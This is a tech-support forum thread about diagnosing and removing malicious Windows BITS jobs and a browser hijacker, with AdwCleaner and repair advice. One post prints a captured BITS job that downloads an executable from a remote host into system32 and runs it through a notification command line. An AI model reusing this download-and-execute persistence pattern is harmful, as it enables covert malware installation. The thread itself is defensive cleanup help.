Windows 10: Bitsadmin pops up randomly and immediately disappears.

Dear gurus: Please your comments.
I had the same problem than creator. I think I resolved it by executing the following procedure.
On Windows 10. Not familiar with PowerShell. I’m not experienced, not professional.
Trivia: Check Windows Defender. Check Microsoft msert.exe. Check Antivirus. Check commercial antivirus. Check for programed task.
A) STEP 1. Know what informs the screenshots. Capture a screenshot. For that, use a screen recorder. Use a commercial or shareware one. If not it is has, use a search engine in Internet. My screenshot says:
“BITSADMIN version 3.0
[… bla bla bla …]
Found 2 jobs named ‘task3’- Use the job identifier instead of the job name.”
So, we know which program and task was running: A job of BitsAdmin.exe

B) STEP 2. From CMD, execute: “BITSADMIN /list /verbose”. This is the report:
GUID: {3F1C911A-2899-4980-8E48-9D2B87D68A81}
DISPLAY: 'task3'
TYPE: DOWNLOAD
STATE: TRANSFERRED
OWNER: XXXXXX\xxxxxx
PRIORITY: FOREGROUND
FILES: 1 / 1
BYTES: 283136 / 283136
CREATION TIME: 19.01.17 22:52:14
MODIFICATION TIME: 20.01.17 08:35:33
COMPLETION TIME: 20.01.17 08:35:33
ACL FLAGS:
NOTIFY INTERFACE: UNREGISTERED
NOTIFICATION FLAGS: 1
RETRY DELAY: 3600
NO PROGRESS TIMEOUT: 1209600
ERROR COUNT: 8
PROXY USAGE: PRECONFIG
PROXY LIST: NULL
PROXY BYPASS LIST: NULL
DESCRIPTION:
JOB FILES: 283136 / 283136
WORKING https://### dk5gckyelnxjl.cloudfront...3-d775c525aa16, -> C:\WINDOWS\system32\bi3.exe
NOTIFICATION COMMAND LINE: 'C:\WINDOWS\system32\cmd.exe' ' /C C:\WINDOWS\system32\bitsadmin.exe /COMPLETE task3 && C:\WINDOWS\system32\bi3.exe /sparam=H1Jzftptn095001AU,5f0ceeb2-237c-4f18-a9c3-d775c525aa16, /rnd=0 2>nul'
owner MIC integrity level: HIGH
owner elevated? true
Peercaching flags
Enable download from peers: false
Enable serving to peers: false
CUSTOM HEADERS: NULL

GUID: {8B1E9F81-E8B7-4E6D-A983-D8EABEE2CD7B}
DISPLAY: 'task3'
[…… etc. Like above]

GUID: {08C992C2-0523-4751-AFC2-D911EE6B1F94}
DISPLAY: 'UpdateDescriptionXml'
[…… etc. Similar above]
WORKING http://###g.live.com/1rewlive5skydrive/ODSUProduction -> C:\Users\XXXXXXXX\AppData\Local\Temp\wct81B6.tmp
[…… etc. Similar above]

GUID: {3621A429-705F-4DAB-A153-D5224B706C75}
DISPLAY: 'UpdateDescriptionXml'
[…… etc. Like above]

Listed 4 job(s).””

C) STEP 3. C.1) List jobs. C.2) Delete Jobs. C.3) Check jobs deletion.
COMMAND C.1) “C:\windows\system32>bitsadmin /list /allusers”
REPORT C.1):
{3F1C911A-2899-4980-8E48-9D2B87D68A81} 'task3'
TRANSFERRED 1 / 1 283136 / 283136
{8B1E9F81-E8B7-4E6D-A983-D8EABEE2CD7B} 'task3'
TRANSFERRED 1 / 1 283136 / 283136
{08C992C2-0523-4751-AFC2-D911EE6B1F94} 'UpdateDescriptionXml' TRANSFERRED 1 / 1 387 / 387
{3621A429-705F-4DAB-A153-D5224B706C75} 'UpdateDescriptionXml' TRANSFERRED 1 / 1 387 / 387
Listed 4 job(s).”

COMMAND C.2) “C:\windows\system32>bitsadmin /reset /allusers”
REPORT C.2):
{3F1C911A-2899-4980-8E48-9D2B87D68A81} canceled.
{8B1E9F81-E8B7-4E6D-A983-D8EABEE2CD7B} canceled.
{08C992C2-0523-4751-AFC2-D911EE6B1F94} canceled.
{3621A429-705F-4DAB-A153-D5224B706C75} canceled.
4 out of 4 jobs canceled.

COMMAND C.3) “C:\windows\system32>bitsadmin /list /allusers”
REPORT C.3):
Listed 0 job(s).””

D) RESULT: On my computer, It does not appear more screenshots
E.1) COMMENT 1. Who are inside the servers transferring to/from information on my computer? Unknown.
E.2) COMMENT 2. I would suppose Windows Defender and Malwarebytes are doing its job. Files bi3.exe and C:\Users\xxxxxx\AppData\Local\Temp\*.tmp files do not exist on my computer.

In my case, the problem started when I ran the program "Phoenix_Service_Software_2012.04.003.47798.exe". This is a program used to flash a Nokia model 2012 phone. This program is not designated as unsafe application neither by MS Defender nor by Malwarebytes. But yes is marked as potentially unsafe application by ESET OnlineScanner: "a variant of Win32/HackTool.Patcher.A"

 

Is anyone still around here?
So I just ran the code from Superfly, pretty sure I'm done for, I really don't know what's going on here...



Really hope someone is still around here, willing to help *Smile

 

Hi and welcome to Tenforums.
Have you tried @Superfly 's instructions in post #19?
Bitsadmin pops up randomly and immediately disappears.
.

 

Sorry for the late reply, been really busy.

Oh jesus here we go...

No I didn't since my outcome wasn't the same as the initial user's, so I thought my case would be different and require some other things to be done, and since I didn't wanna do anything on my own, I didn't do it.

Did type in the command an this is the outcome:




Then I typed in the other command in powershell but with no outcome, guessing it just got rid of the non-Windows update downloads.

Kinda off topic, would need some help though:
Do you guys know anything about ADWCleaner? Since I used it once, sometimes Windows couldn't sign in my profile, putting me into a temporary one.
Kinda solved it, don't know exactly what I did but I did a clean boot, got rid of some of the startup programs, and worked. Next time I used ADWCleaner it happened again. Might or not be from ADWCleaner but I can't see any other reason.

Today when I turned my PC on, another cmd prompt window popped up, and instantly google chrome opened with a sketchy start page called StartPageing123.
I'm guessing this stuff is easy to handle, since just running a scan with MalwareBytes Antimalware and cleansing my browser settings seemed to do the job, but there might be more to it, and since I don't really know how to do anything I'm coming here for help.

*Update: After getting rid of the sketchy start page, Malwarebytes Antimalware doesn't wanna start up anymore.
It gives me an error that says: "Unable to connect the service"
Why could that be?

 

For startpegin123 follow this removal guide. Also any other would do .

It is a browser hijacker.

 

Thanks, did all the guide told me to do and I kinda cleansed my browser, does that do anything with the Bitsadmin problem or will I have to wait?

Thanks again.

 

Not sure about that. Think you'll have to wait for symptoms to clear and other specialists to drop by *Smile

 

Well my gaming hasn't been interrupted by any cmds popping up so I'll just wait, if anyone else has something else to say, maybe what I missed or still have to do, tell me please.
Really out of my league, all this.

 

I think you followed the correct route doing the cleanup...(there were lots of undesirables on there) running the powershell command will tell you if those things have returned...

BTW that it disabled Windows update service is a bit worrying..

BITSADMIN has a built-in priority queuing system and will set WU as lower priority only under heavy download requirement circumstances.

 

I'm understanding WU stands for Windows Update/s?

You mean the initial Powershell command?



Well it doesn't say anything. So it's gone for now but it doesn't say anything. Is that good or bad?

Another thing: what does that mean? Is it starting/stopping... what?

 

• Yes
• Yes
• Good

That should not be happening but it's a different issue...that may be fixed running sfc /scannow. I suspect corrupted files there.

 

We might want to do some more cleaning, just to be sure your malware is gone.
I am curious as to the problems you indicated from ADWCleaner. Yes, I am very familiar with that program.
You could:
- download the latest version
- open the program
- scan but do not clean
- post the log file for me to have a look (it's in C:\AdwCleaner \AdwCleaner[S(somenumber)].txt

The fact that you are unable to run MBAM as well, is suspicious.

 

# AdwCleaner v6.044 - Logfile created 16/03/2017 at 16:29:02
# Updated on 28/02/2017 by Malwarebytes
# Database : 2017-03-15.2 [Server]
# Operating System : Windows 10 Pro (X64)
# Username : alexa - DESKTOP-0CNL29P
# Running from : C:\Users\alexa\Downloads\adwcleaner_6.044 (1).exe
# Mode: Scan
# Support : Malwarebytes | Customer Support & Help Center



***** [ Services ] *****

No malicious services found.


***** [ Folders ] *****

No malicious folders found.


***** [ Files ] *****

No malicious files found.


***** [ DLL ] *****

No malicious DLLs found.


***** [ WMI ] *****

No malicious keys found.


***** [ Shortcuts ] *****

No infected shortcut found.


***** [ Scheduled Tasks ] *****

No malicious task found.


***** [ Registry ] *****

No malicious registry entries found.


***** [ Web browsers ] *****

No malicious Firefox based browser items found.
Chrome pref Found: [C:\Users\alexa\AppData\Local\Google\Chrome\User Data\Profile 1\Secure Preferences] - hxxp://www.startpageing123.com/searchfavicon.ico

*************************

C:\AdwCleaner\AdwCleaner[C0].txt - [3318 Bytes] - [11/03/2017 16:09:15]
C:\AdwCleaner\AdwCleaner[C2].txt - [1464 Bytes] - [14/03/2017 20:09:39]
C:\AdwCleaner\AdwCleaner[C3].txt - [2890 Bytes] - [15/03/2017 17:05:11]
C:\AdwCleaner\AdwCleaner[S0].txt - [3089 Bytes] - [11/03/2017 16:08:50]
C:\AdwCleaner\AdwCleaner[S1].txt - [1520 Bytes] - [14/03/2017 20:09:16]
C:\AdwCleaner\AdwCleaner[S2].txt - [3619 Bytes] - [15/03/2017 17:03:59]
C:\AdwCleaner\AdwCleaner[S3].txt - [1546 Bytes] - [16/03/2017 16:29:02]

########## EOF - C:\AdwCleaner\AdwCleaner[S3].txt - [1619 Bytes] ##########


Even with all the cleaning it still found something from startpageing123. Nothing else though.
MBAM still doesn't connect to the servers.

 

Have you tried running the Dism /restorehealth and sfc /scannow commands? Just to be sure your files are functioning correctly.

 

I'm seeing many different versions on the internet, could you explain what I should do? Not familiar with the commands.